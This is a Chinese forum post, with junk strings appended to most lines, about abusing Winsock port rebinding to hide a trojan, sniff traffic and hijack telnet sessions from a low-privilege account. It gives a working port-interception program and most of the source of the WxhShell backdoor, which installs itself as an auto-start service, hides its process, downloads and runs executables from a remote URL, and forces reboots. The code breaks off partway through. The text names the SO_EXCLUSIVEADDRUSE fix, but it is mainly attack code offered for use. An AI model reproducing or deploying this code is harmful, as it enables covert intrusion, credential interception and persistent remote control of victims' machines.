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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0KZ 3h|4lP  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); m0P5a%D  
$`  
  saddr.sin_family = AF_INET; f6XWA_[i@  
mF1oY[xa_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); &ke4":7X  
im' 0^  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /[q@=X&  
,[~EThcq  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 y.nw6.`MR  
V)]&UbEL|  
  这意味着什么?意味着可以进行如下的攻击: ~EN@$N^h  
v<) }T5~r  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ei5S<n  
Z-Uq89[HZ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) GgtL./m  
WO{N@f^  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 T \AuL  
arB$&s  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  zumRbrz  
K5KN}sRs"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 , ^nUi c  
S `[8TZ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 aX|`G]PhdI  
uC3$iY:_e  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _Sg29qFK  
Fh "S[e  
  #include ReRRFkO"2  
  #include H(AYtnvB  
  #include BZj[C=#x  
  #include    H [v~  
  DWORD WINAPI ClientThread(LPVOID lpParam);   2PC4EjkC  
  int main() =nsY[ s<  
  { *~vRbD$q  
  WORD wVersionRequested; d+^;kse  
  DWORD ret; 8P*n|]B.'  
  WSADATA wsaData; n0m9|T&  
  BOOL val; cO8;2u,Gvi  
  SOCKADDR_IN saddr; i{8=;  
  SOCKADDR_IN scaddr; [bcqaT  
  int err; eQc!@*:8U  
  SOCKET s; e nNn*.*|  
  SOCKET sc; N*xgVj*  
  int caddsize; ^;2L`U@5  
  HANDLE mt; \)v.dQ!  
  DWORD tid;   8(A:XQN"h  
  wVersionRequested = MAKEWORD( 2, 2 ); 'Go'87+`  
  err = WSAStartup( wVersionRequested, &wsaData ); ,&k 5Qq  
  if ( err != 0 ) { /L~*FQQK>  
  printf("error!WSAStartup failed!\n"); Ne[O9D 7  
  return -1; Q.fBuF  
  } " JRlj  
  saddr.sin_family = AF_INET; #?/.LMn{  
   $^l=#tV  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &a0%7ea`.S  
F ^\v`l,  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); '%MIG88  
  saddr.sin_port = htons(23); brFOQU?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D|S)/o6  
  { 6R<%. -qr  
  printf("error!socket failed!\n"); A +p}oY '  
  return -1; R0|X;3  
  } FYj3! H  
  val = TRUE; we@bq,\w  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 |amEuKJ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2c~^|@   
  { H(X~=r  
  printf("error!setsockopt failed!\n"); Vs"Z9p$U  
  return -1; ks{s Q@~  
  } \kRBJ1)|f  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |joGrWv4  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ZDb`]c4(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $?A]!Y;  
J h"]iN  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) <HD/&4$[  
  { K{iYp4pU  
  ret=GetLastError(); w\M_3}  
  printf("error!bind failed!\n"); q&M;rIo?  
  return -1; Mqpo S  
  } Nr)(&c8  
  listen(s,2); 1Zecl);O{  
  while(1) A#i-C+"}  
  { ,Q:dAe[ZsX  
  caddsize = sizeof(scaddr); _#+9)*A  
  //接受连接请求 .{} t[U  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); cD>o(#x]  
  if(sc!=INVALID_SOCKET) AE$)RhY`  
  { 7%<jZ =  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); f8j^a?d|  
  if(mt==NULL) i|| YD-hkK  
  { !F8 !]"*  
  printf("Thread Creat Failed!\n"); <Du*Re6g  
  break; VMHY.Rf  
  } `bm-ONK  
  } kb6v2 ^8H  
  CloseHandle(mt); ,|H!b%ZW  
  } ~% c->\Q  
  closesocket(s); y5#_@  
  WSACleanup(); .3!4@l\9C  
  return 0; \<8!b {F  
  }   XC$~!  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^T[ #rNkeL  
  { c1/x,1LnMf  
  SOCKET ss = (SOCKET)lpParam; uqnZ  
  SOCKET sc; ( r O j,D  
  unsigned char buf[4096]; ooAZ,l=8  
  SOCKADDR_IN saddr; ]+Vcuzq/  
  long num; Pv'x|p*  
  DWORD val; l ghzd6  
  DWORD ret; ; YRZg|Zw  
  //如果是隐藏端口应用的话,可以在此处加一些判断 83h3C EQ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   v+OVZDf  
  saddr.sin_family = AF_INET; jQDxbkIuzE  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Z/x1?{z  
  saddr.sin_port = htons(23); 9D<HJ(  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <uvshZ v  
  { V1fPH;  
  printf("error!socket failed!\n"); B8&@Qc@~  
  return -1; !d^`YEfE  
  } ~!;3W!@(E  
  val = 100; Nt'5}  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) zk]~cG5dT/  
  { +~@Y#>+./l  
  ret = GetLastError(); l\5 NuCgRY  
  return -1; usA!MMH4  
  } ' 4"L;){:L  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) O^GXFz^  
  { 7'I7   
  ret = GetLastError(); 3:gk:j#  
  return -1; 5Zov< +kE  
  } 1K`A.J:Uy  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) BCbW;w8aI  
  { /[s$A?  
  printf("error!socket connect failed!\n"); u"%fz8v  
  closesocket(sc); %F~ dmA#:  
  closesocket(ss); GyCpGP|AZ  
  return -1; jt3SA [cy  
  } j{=%~  
  while(1) V6k9L*VP  
  { `et<Z  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 c>g%oE  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 W@tLT[}CG  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :-Pj )Y{I  
  num = recv(ss,buf,4096,0); )N/KQ[W  
  if(num>0) 7Tbkti;  
  send(sc,buf,num,0); cG?266{g  
  else if(num==0) 2R!W5gs1<  
  break; }FXRp=s  
  num = recv(sc,buf,4096,0); 3XRG"  
  if(num>0) */)gk=x8  
  send(ss,buf,num,0); U`Zn*O~/  
  else if(num==0) q~3&f  
  break; R<=t{vTJ5  
  } Q ZlUUj\  
  closesocket(ss); &<V~s/n=6?  
  closesocket(sc); 4!jHZ<2 Z  
  return 0 ; ($s{em4L  
  } 8`2K=`]ES+  
;W].j%]L e  
CmTJa5:  
========================================================== =N c`hP  
epF>z   
下边附上一个代码,,WXhSHELL d1-p];&  
93\,m+-  
========================================================== UU/|s>F  
4pqZ!@45|  
#include "stdafx.h" ,3j7Y5v  
BP6Shc|C  
#include <stdio.h> f/y K|[g~  
#include <string.h> >UMnItq(l  
#include <windows.h> )sHPIxHI  
#include <winsock2.h> =m:W  
#include <winsvc.h> %vXQ Sz  
#include <urlmon.h> K="+2]{I  
O^#u%/  
#pragma comment (lib, "Ws2_32.lib") 5glGlD6R  
#pragma comment (lib, "urlmon.lib") Mx"tUoU6z  
=Ug_1w  
#define MAX_USER   100 // 最大客户端连接数 Q 1Ao65  
#define BUF_SOCK   200 // sock buffer 7 SZR#L  
#define KEY_BUFF   255 // 输入 buffer H~Cfni;  
^= G+]$8  
#define REBOOT     0   // 重启 9x!y.gx  
#define SHUTDOWN   1   // 关机 %u}sVRJ  
vknFtpx  
#define DEF_PORT   5000 // 监听端口 BE~[%6T7  
;"Y6&YP<  
#define REG_LEN     16   // 注册表键长度 #F@7>hd1  
#define SVC_LEN     80   // NT服务名长度 M6iKl  
OT i3T1&  
// 从dll定义API w3>|mDA}I  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vvxj{fxb)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4(82dmKO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8H?AL RG  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); t^hkGYj!2  
SfUUo9R(sm  
// wxhshell配置信息 h.0K PF]O  
struct WSCFG { Oe`t!&v  
  int ws_port;         // 监听端口 <Tf;p8#  
  char ws_passstr[REG_LEN]; // 口令 z7C1&bGe  
  int ws_autoins;       // 安装标记, 1=yes 0=no sLIP |i  
  char ws_regname[REG_LEN]; // 注册表键名 4)I#[&f  
  char ws_svcname[REG_LEN]; // 服务名 I.!/R`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V-jL`(JF%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7p6J   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 JuSS5_&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no RZA\-?cO)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @k<~`S~|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #cS,5(BM  
@XC97kGWp  
}; dL(|Y{4  
R:N-y."La.  
// default Wxhshell configuration n bk(F D6  
struct WSCFG wscfg={DEF_PORT, [[Z>(d$8  
    "xuhuanlingzhe", TzGm562o%  
    1, |m- `, we  
    "Wxhshell", g/p }r.  
    "Wxhshell", 4a!7|}W  
            "WxhShell Service", (+dRD] |T  
    "Wrsky Windows CmdShell Service", xQap44KPZ  
    "Please Input Your Password: ", u2-7vudh  
  1, 0h4}RmS  
  "http://www.wrsky.com/wxhshell.exe", gH3kX<e  
  "Wxhshell.exe" L0tKIpk  
    }; Z;D3lbqE  
S8m&Rj3O&  
// 消息定义模块 PDng!IQ^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; D5u"4\g< &  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #Ca's'j&f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q%Q?q)x  
char *msg_ws_ext="\n\rExit."; 3:lp"C51  
char *msg_ws_end="\n\rQuit."; 4tJ4X' U  
char *msg_ws_boot="\n\rReboot..."; 0!`7kZrN  
char *msg_ws_poff="\n\rShutdown..."; rJp6d :M  
char *msg_ws_down="\n\rSave to "; ]bb}[#AY  
/g'-*:a  
char *msg_ws_err="\n\rErr!";  <z2mNq  
char *msg_ws_ok="\n\rOK!"; F*VMS  
+Q31K7Gr  
char ExeFile[MAX_PATH]; y$o=\:  
int nUser = 0; +z0}{,HX  
HANDLE handles[MAX_USER]; : "te-  
int OsIsNt; yX3H&F6  
Ba|}C(Ws?  
SERVICE_STATUS       serviceStatus; i0Q _f!j  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @H0%N53nE  
#l#[\6  
// 函数声明 MmH_gR  
int Install(void); \N+Ta:U1P  
int Uninstall(void); ID#qKFFW  
int DownloadFile(char *sURL, SOCKET wsh); &xroms"S=  
int Boot(int flag); e-3pg?M  
void HideProc(void); O&iYGREO  
int GetOsVer(void); tkqBCKpDa  
int Wxhshell(SOCKET wsl); ZM`P~N1?)g  
void TalkWithClient(void *cs); w*%$ lhp!  
int CmdShell(SOCKET sock); h\*rv5\M  
int StartFromService(void); %L>nXj  
int StartWxhshell(LPSTR lpCmdLine); ~PW}sN6ppG  
iCRw}[[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <<5 :zlb  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |!5T+H{Sj  
9w;J7jgOT!  
// 数据结构和表定义 #aY<J:Nx  
SERVICE_TABLE_ENTRY DispatchTable[] = 1[g!^5W  
{ h?3l  
{wscfg.ws_svcname, NTServiceMain}, DPQGh`J  
{NULL, NULL} U4l*;od  
}; PJ'lZu8?x  
3(})uV  
// 自我安装 iv z?-X4]  
int Install(void) w <>6>w@GZ  
{ wU)5Evp[  
  char svExeFile[MAX_PATH]; LiD |4(3  
  HKEY key; L Yg$M@  
  strcpy(svExeFile,ExeFile); J:Y|O-S!  
Po11EZa$a  
// 如果是win9x系统,修改注册表设为自启动 )  v5n "W  
if(!OsIsNt) { 7h9[-d6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4O_+4yS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [S&O-b8A  
  RegCloseKey(key); fwv T2G4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "Xk%3\{P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <C"N X  
  RegCloseKey(key); 6(^Upk=59  
  return 0; dF11Rj,~ 8  
    } k-cIb@+"  
  } f@Rpb}zg+C  
} 4:eq{n  
else { *tfDXQ^mN  
1;kG[z=A  
// 如果是NT以上系统,安装为系统服务 &#PBww  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ciGpluQF  
if (schSCManager!=0) N!Wq}#&l  
{ N' $DE  
  SC_HANDLE schService = CreateService /z)3gsF  
  ( @S"pJeP/f  
  schSCManager, a3dzok  
  wscfg.ws_svcname, Hl2f`GZ   
  wscfg.ws_svcdisp, oz0n$`O$/  
  SERVICE_ALL_ACCESS, R!k<l<9q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R-A'v&=  
  SERVICE_AUTO_START, N[x@j)w-`  
  SERVICE_ERROR_NORMAL, YUVc9PV)Ws  
  svExeFile, 56=K@$L {F  
  NULL, RnA&-\|*  
  NULL, Bw]L2=d  
  NULL, 9p\Hx#^  
  NULL, 7hN6IP*so  
  NULL Pm#x?1rAj  
  ); (o6[4( G  
  if (schService!=0) tk)>CK11  
  { |IX`(  
  CloseServiceHandle(schService); 3aE[F f[  
  CloseServiceHandle(schSCManager); ^M(`/1:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]Z$TzT&@%  
  strcat(svExeFile,wscfg.ws_svcname); (O_t5<A*X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2Z;`#{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mU3Y)  
  RegCloseKey(key); XAU_SPAjiw  
  return 0; 9 yW ~79n  
    } p17|ld`  
  } eC^0I78x  
  CloseServiceHandle(schSCManager); v(Bp1~PPZM  
} %eJ\d?nw  
} 3r-VxP 5n  
 [ }p  
return 1; PJK]t7vp  
} fY%M=,t3c  
Z.aLk4QO@  
// 自我卸载 wj#J>C2]  
int Uninstall(void) .YjrV+om1  
{ i{|lsd(+  
  HKEY key; @!":(@3[  
| z#m  
if(!OsIsNt) { YV1a 3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gY>;|),  
  RegDeleteValue(key,wscfg.ws_regname); 65waq~#  
  RegCloseKey(key); QxL@'n#5   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J)$&z*!  
  RegDeleteValue(key,wscfg.ws_regname); S)\JWXi~:J  
  RegCloseKey(key); <;z[+6T  
  return 0; $#G6m`V  
  } 'Vm5Cs$  
} z)&naw.  
} 49xp2{  
else { ?z5ne??  
H b A3*2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Z{a{HX[Jx  
if (schSCManager!=0) tKG;k"wk  
{ "GwWu-GS  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nIV.9#~&  
  if (schService!=0) YeRcf`  
  { WyBQ{H{So  
  if(DeleteService(schService)!=0) { `jb0 +{08  
  CloseServiceHandle(schService); ^ o $W  
  CloseServiceHandle(schSCManager); &\"Y/b]  
  return 0; !B [1zE  
  } 6K4`;  
  CloseServiceHandle(schService); MtZt8s  
  } i!SW?\  
  CloseServiceHandle(schSCManager); 4Q$j]U&b  
} FG>;P]mvp  
} 8^<c,!DM  
pAJ=f}",]E  
return 1; j*;*Ka w  
} Z7/vrME6  
bK$/,,0=X/  
// 从指定url下载文件 JHvFIo   
int DownloadFile(char *sURL, SOCKET wsh) j<l#qho{h  
{ 8qFUYZtY  
  HRESULT hr; UOR _M5  
char seps[]= "/"; !y>lOw})Q  
char *token; yfSiByU  
char *file; DC$7B`#D  
char myURL[MAX_PATH]; <S\;k@f  
char myFILE[MAX_PATH]; kf+JM/  
JdaFY+f :  
strcpy(myURL,sURL); ee&nU(pK  
  token=strtok(myURL,seps); $xRo<,OV+  
  while(token!=NULL) ov\Ct%]  
  { F-$Z,Q]S  
    file=token; 0M#N=%31  
  token=strtok(NULL,seps); nmD1C_&  
  } CDQJ bvx  
I;Al? &uw  
GetCurrentDirectory(MAX_PATH,myFILE); \yih 1Om>~  
strcat(myFILE, "\\"); U9<_6Bsd  
strcat(myFILE, file); /Y;+PAy  
  send(wsh,myFILE,strlen(myFILE),0); n\Z^K  
send(wsh,"...",3,0); tv 4s12&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Fy 4Tvg  
  if(hr==S_OK) *oEv,I_  
return 0; `j"4:  
else ]{K5zSK  
return 1; z6p#fsD  
-]Q3/"Q  
} %$/=4f.j  
D-Bv(/Pz]$  
// 系统电源模块 DapQ}2'_  
int Boot(int flag) I`/]@BdgY  
{ dzgs%qtK  
  HANDLE hToken; PzIy">plm  
  TOKEN_PRIVILEGES tkp; R&NpdW N  
 Y[f,ia  
  if(OsIsNt) { b%3Q$wIJ6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W:`5nj]H9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6b%`^B\  
    tkp.PrivilegeCount = 1; l*QIoRYFW  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; - waX#U T=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rU; g0'4e  
if(flag==REBOOT) { *mf}bTiS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) aN>U. SB  
  return 0; $|Q".dD  
} S#P+B*v  
else { ^Lsc`<xC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~J%R-{U9  
  return 0; L&:M8xiA~$  
} uAp -$?  
  } q|n97.vD  
  else { ~@%(RMJm&  
if(flag==REBOOT) {  C}Rs[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z8g=;><  
  return 0; btUq  
} jVX._bEGX  
else { ` !zQ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) n)tU9@4Np  
  return 0; B:e.gtM5  
} vAi"$e  
} NV:>a  
Mx^y>\X)v  
return 1; ktN%!Mh\  
} kclp}  
XlRw Z/Wc  
// win9x进程隐藏模块 W7%p^;ZQ$  
void HideProc(void) HpW" lYW4  
{ T48BRVX-F  
u06tDJ[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); l &}piC  
  if ( hKernel != NULL )  W|lH   
  { /^d. &@*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); AeN 3<|RN  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); XxhsPFv  
    FreeLibrary(hKernel); YQN.Ohtv*F  
  } Z#CxQ D%\  
3b#L17D3_  
return; j0AwL7  
} }|AX_=a  
L?C\Q^0"`G  
// 获取操作系统版本 !syU]Yk  
int GetOsVer(void) kl| g  
{ 3 *G5F}7%=  
  OSVERSIONINFO winfo; $?-7OXj<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2>g^4(  
  GetVersionEx(&winfo); 7@JjjV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vxb@9 eb!H  
  return 1; B i'd5B5  
  else {&E?<D2_&  
  return 0; wc"9A~  
}  "";=DH  
5;}2[3}[  
// 客户端句柄模块 M Z2^@It  
int Wxhshell(SOCKET wsl) Ys-^7 y_  
{ -jFP7tEv  
  SOCKET wsh; $Ru&>D#stK  
  struct sockaddr_in client; B\f"Iirw  
  DWORD myID; g- XKP  
N5yJ'i~,M  
  while(nUser<MAX_USER) l@xWQj9  
{ =`JW1dM  
  int nSize=sizeof(client); cbfD B^_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;;M"hI3@  
  if(wsh==INVALID_SOCKET) return 1; ]7*kWc2  
;3mL^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Is ot4HLM  
if(handles[nUser]==0) Ha?G=X  
  closesocket(wsh); lHcA j{6  
else C(}^fJ6r  
  nUser++; JT}.F!q6E  
  } E!uJ6\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); emA.{cVr!  
k j-=xhJ{=  
  return 0; Mw+v"l&mU  
} _FT6]I0  
7q!?1 -?8R  
// 关闭 socket I,]J=xi  
void CloseIt(SOCKET wsh) 0Yp>+:#  
{ KyjyjfIwH  
closesocket(wsh); a%v>eXc  
nUser--; #vtN+E  
ExitThread(0); w#sq'vo4%  
} V n^)  
Zd$JW=KR]l  
// 客户端请求句柄 J||E;=%f-Q  
void TalkWithClient(void *cs) oooS s&t  
{ v G2.]?  
9976H\{  
  SOCKET wsh=(SOCKET)cs; .8K6C]gw  
  char pwd[SVC_LEN]; =x1Wii$`  
  char cmd[KEY_BUFF]; Z/gsCYS3F  
char chr[1]; 76_<xUt{  
int i,j; N\'TR6_,b  
Yc|uD-y  
  while (nUser < MAX_USER) { 7_KXD#  
Oo1ecbY  
if(wscfg.ws_passstr) { =PZWS& (L  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oXdel Ju?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S!`:E  
  //ZeroMemory(pwd,KEY_BUFF); Z&-tMai;  
      i=0; ';Nu&D#Ph  
  while(i<SVC_LEN) { Od-Ax+Hp  
W tVf wC_  
  // 设置超时 NZ+7p{&AN  
  fd_set FdRead; GB =bG%Tb  
  struct timeval TimeOut; bJwc1AJgH  
  FD_ZERO(&FdRead); \ADLMj`F|  
  FD_SET(wsh,&FdRead); L:pUvcAc?  
  TimeOut.tv_sec=8; O>%$q8x@i  
  TimeOut.tv_usec=0; m<3w^mww  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); x)_r@l`$ix  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); NJm-%K  
FfG%C>E6~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V 9Hl1\j^  
  pwd=chr[0]; .;g}%C  
  if(chr[0]==0xd || chr[0]==0xa) { lov%V*tL  
  pwd=0; x9&p!&*&IT  
  break; WFem#hq   
  } 7E\g &R.  
  i++; l!:^6i  
    } lm*g Gy1i  
2T?TM! \Q  
  // 如果是非法用户,关闭 socket zqf[Z3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); o,*=$/or  
} x6v,lR  
p?kvW42/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^KbL ,T  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v%nP*i9  
!D;c,{Oz  
while(1) { ?A&%Cwj  
G|*G9nQ  
  ZeroMemory(cmd,KEY_BUFF); XXm'6xD-  
bcn7,ht  
      // 自动支持客户端 telnet标准   #A )Ab%r8"  
  j=0; 7]Rk+q2:  
  while(j<KEY_BUFF) { |z*>ixK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #x)8f3I  
  cmd[j]=chr[0]; 6@YH#{~Zpv  
  if(chr[0]==0xa || chr[0]==0xd) { zSXA=   
  cmd[j]=0; Ha)np  
  break; $w/E9EJ)3A  
  } mX;H((  
  j++; Cfv]VQQE  
    } p/&HUQQk  
kC`Rd:5  
  // 下载文件 zN")elBi  
  if(strstr(cmd,"http://")) { X}W)3v  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^1 ;BiQ  
  if(DownloadFile(cmd,wsh)) P,ydt  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^V .'^=l  
  else )i-gs4[(QN  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mq'IkSt'  
  } vxVOcO9<  
  else { 9go))&`PJL  
y\,f6=%k  
    switch(cmd[0]) { " #v%36U  
  3[VNsX  
  // 帮助 ;7j,MbU  
  case '?': { `HyF_m>\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J^:n* C  
    break; M4:s;@qZ.  
  } l!@ 1u^v2  
  // 安装 (O0byu}  
  case 'i': { p[qg&VKB  
    if(Install()) 9!#EwPD$#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gr+Pl>C{  
    else M*`hDdS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6 64q~_@B1  
    break; $r15gfne>  
    } F0.zi>5  
  // 卸载 &d,Wy"WPi  
  case 'r': { U\bC0q   
    if(Uninstall()) sLhDO'kM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zJC EA  
    else  KGT3|)QN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `eD1|Go9  
    break; T8Na]V5  
    } K<RqBecB  
  // 显示 wxhshell 所在路径 x0<^<D&Q  
  case 'p': { 0T9. M(  
    char svExeFile[MAX_PATH]; " " %#cDR  
    strcpy(svExeFile,"\n\r"); LGVlc@0'  
      strcat(svExeFile,ExeFile); |,sM ST%  
        send(wsh,svExeFile,strlen(svExeFile),0); $^h?:L:1n  
    break; ArXl=s';s4  
    } t9` Ed>a  
  // 重启 Ct!S Tk[2  
  case 'b': { >lLo4M 3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A ~&+F>Z  
    if(Boot(REBOOT)) X"<|Z]w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {[^#h|U  
    else { Ep ">v>"  
    closesocket(wsh); bV6V02RF  
    ExitThread(0); 2 Y+:,ud\  
    } ri=+(NKo-  
    break; doLNz4W  
    } wW5Yw i  
